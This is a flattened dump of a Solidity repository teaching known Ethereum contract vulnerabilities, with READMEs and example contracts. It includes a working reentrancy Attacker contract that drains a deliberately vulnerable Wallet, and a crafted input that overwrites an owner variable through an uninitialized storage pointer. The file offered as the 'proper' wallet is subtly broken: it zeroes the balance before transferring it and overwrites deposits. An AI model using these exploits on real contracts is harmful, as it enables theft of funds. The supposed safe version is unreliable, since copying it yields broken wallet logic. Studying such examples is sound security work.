this.balance; 38 | } 39 | } -------------------------------------------------------------------------------- /MoneyTransfer/proper.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Wallet { 4 | mapping (address => uint) public balances; 5 | 6 | function() payable public { 7 | balances[msg.sender] = msg.value; 8 | } 9 | 10 | /** 11 | Use withdraw function for transfer ether only! Any other logic should be avoid to prevent DOS. 12 | https://consensys.github.io/smart-contract-best-practices/known_attacks/#dos-with-unexpected-revert 13 | **/ 14 | function withdraw() public { 15 | balances[msg.sender] = 0; 16 | msg.sender.transfer(balances[msg.sender]); 17 | } 18 | 19 | function getBalance() public view returns (uint) { 20 | return this.balance; 21 | } 22 | } -------------------------------------------------------------------------------- /MoneyTransfer/reentrancy.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Wallet { 4 | mapping (address => uint) public balances; 5 | 6 | function() payable public { 7 | balances[msg.sender] = msg.value; 8 | } 9 | 10 | function withdraw() public { 11 | msg.sender.call.value(balances[msg.sender])(); 12 | balances[msg.sender] = 0; 13 | } 14 | } 15 | 16 | 17 | contract Attacker { 18 | Wallet public wallet; 19 | 20 | function Attacker(address _wallet) public { 21 | wallet = Wallet(_wallet); 22 | } 23 | 24 | function attack() payable public { 25 | wallet.call.value(msg.value)(); 26 | wallet.withdraw(); 27 | } 28 | 29 | function () payable public { 30 | if (wallet.balance >= msg.value) { 31 | wallet.withdraw(); 32 | } 33 | } 34 | 35 | function kill() public { 36 | selfdestruct(msg.sender); 37 | } 38 | } -------------------------------------------------------------------------------- /MoneyTransfer/selfdestruct.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Receiver { 4 | 5 | function Receiver() payable { 6 | 7 | } 8 | 9 | function kill() { 10 | selfdestruct(msg.sender); 11 | } 12 | 13 | function () { 14 | revert(); 15 | } 16 | } 17 | 18 | contract Sender { 19 | 20 | function Sender() payable { 21 | 22 | } 23 | 24 | function kill(address who) { 25 | selfdestruct(who); 26 | } 27 | } 28 | 29 | contract BalanceChecker { 30 | 31 | function getBalance(address who) view returns(uint256) { 32 | return who.balance; 33 | } 34 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Known Solidity vulnerabilities/features/attacks. 2 | 3 | ## Description: 4 | This repo contains examples of Solidity code and READMEs with explanations. The list is not exhaustive but I work on it :) 5 | 6 | **Be aware! _S_ in Ethereum stands for _Security_.** -------------------------------------------------------------------------------- /TypeConfusion/README.md: -------------------------------------------------------------------------------- 1 | # Type Confusion. 2 | 3 | ## Description: 4 | EVM doesn't check any types at runtime, it just call bytecode of func by signature. So, if the signature not found - fallback func will be called. 5 | 6 | ### To reproduce: 7 | 8 | 1. Copy-paste `neo.sol` and `smith.sol` to separate tabs at Remix (or use `Connect to localhost` feature) 9 | 2. Deploy `Neo` and `Smith` contracts. 10 | 3. Call `Smith.doDamage` function with an address of `Neo`. 11 | 12 | Check `health` of `Neo` (it should be 100) and `Smith` - 0. 13 | 14 | _P.S._ Similar effect can be reached if someone use ABI that not match with actual ABI of smart contract. -------------------------------------------------------------------------------- /TypeConfusion/neo.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | /* Abstract class of Smith contract */ 4 | contract Smith { 5 | function obtainDamage (uint256 value); 6 | } 7 | 8 | contract Neo { 9 | uint8 public health = 100; 10 | 11 | function () { 12 | Smith(msg.sender).obtainDamage(100); 13 | } 14 | 15 | function obtainDamage (uint8 value) { 16 | health -= value; 17 | } 18 | } -------------------------------------------------------------------------------- /TypeConfusion/smith.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | /* Abstract class of Neo contract */ 4 | contract Neo { 5 | function obtainDamage (uint256 value); 6 | } 7 | 8 | contract Smith { 9 | uint public health = 100; 10 | 11 | function doDamage (address who) { 12 | Neo(who).obtainDamage(100); 13 | } 14 | 15 | function obtainDamage (uint256 value) { 16 | health -= value; 17 | } 18 | } -------------------------------------------------------------------------------- /Underflow/README.md: -------------------------------------------------------------------------------- 1 | # Underflow and Overflow. 2 | 3 | ## Description: 4 | Underflow and overflow happened at Ethereum without any exceptions. See this [issue](https://github.com/ethereum/solidity/issues/796#issuecomment-253578925) to more cases. 5 | 6 | ### To reproduce: 7 | 8 | 1. Copy-paste `_flow.sol` to remix (or use `Connect to localhost` feature) and deploy `_flow` contract. 9 | 2. Play with `overflow` and `underflow` functions. -------------------------------------------------------------------------------- /Underflow/_flow.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract _flow { 4 | uint public umax = 2**256 - 1; 5 | uint public umin = 0; 6 | int public max = int(~((uint(1) << 255))); 7 | int public min = int((uint(1) << 255)); 8 | 9 | function overflow() { 10 | umax++; 11 | max++; 12 | 13 | // += 1; 14 | // *= 2; 15 | } 16 | 17 | function underflow() { 18 | umin--; 19 | min--; 20 | 21 | // -= 1; 22 | } 23 | } -------------------------------------------------------------------------------- /Uninitialized storage pointer/README.md: -------------------------------------------------------------------------------- 1 | # Uninitialized storage pointer. 2 | 3 | ## Description: 4 | By default, `copy` array data and `owner` variable refer to zero cell at [Storage](http://solidity.readthedocs.io/en/develop/types.html?highlight=arrays%20structs#reference-types) memory. 5 | So, changing `copy` affect `owner` also. 6 | 7 | ### To reproduce: 8 | 9 | 1. Copy-paste `uninitialized.sol` to remix (or use `Connect to localhost` feature) and deploy `Uninitialized` contract. 10 | 2. Then call `rewriteBoth` function with a byte array: 11 | ``` 12 | ["0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", 13 | "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", "0xAA", 14 | "0x39", "0x05", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", 15 | "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00", "0x00"] 16 | ``` 17 | 3. `owner` should be `0xaaaaa...`, `balance` == 1337 18 | 19 | Same story for `Struct` - call `rewriteOwner` with any address. 20 | -------------------------------------------------------------------------------- /Uninitialized storage pointer/uninitialized.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.4.18; 2 | 3 | contract Uninitialized { 4 | address public owner; 5 | uint public balance; 6 | struct Billy { 7 | address where; 8 | } 9 | 10 | function rewriteOwner(address _where) public { 11 | Billy tmp; 12 | tmp.where = _where; 13 | } 14 | 15 | function rewriteBoth(bytes s) public { 16 | uint8[64] copy; 17 | for (uint8 i = 0; i < 64; i++) 18 | copy[i] = uint8(s[i]); 19 | } 20 | } --------------------------------------------------------------------------------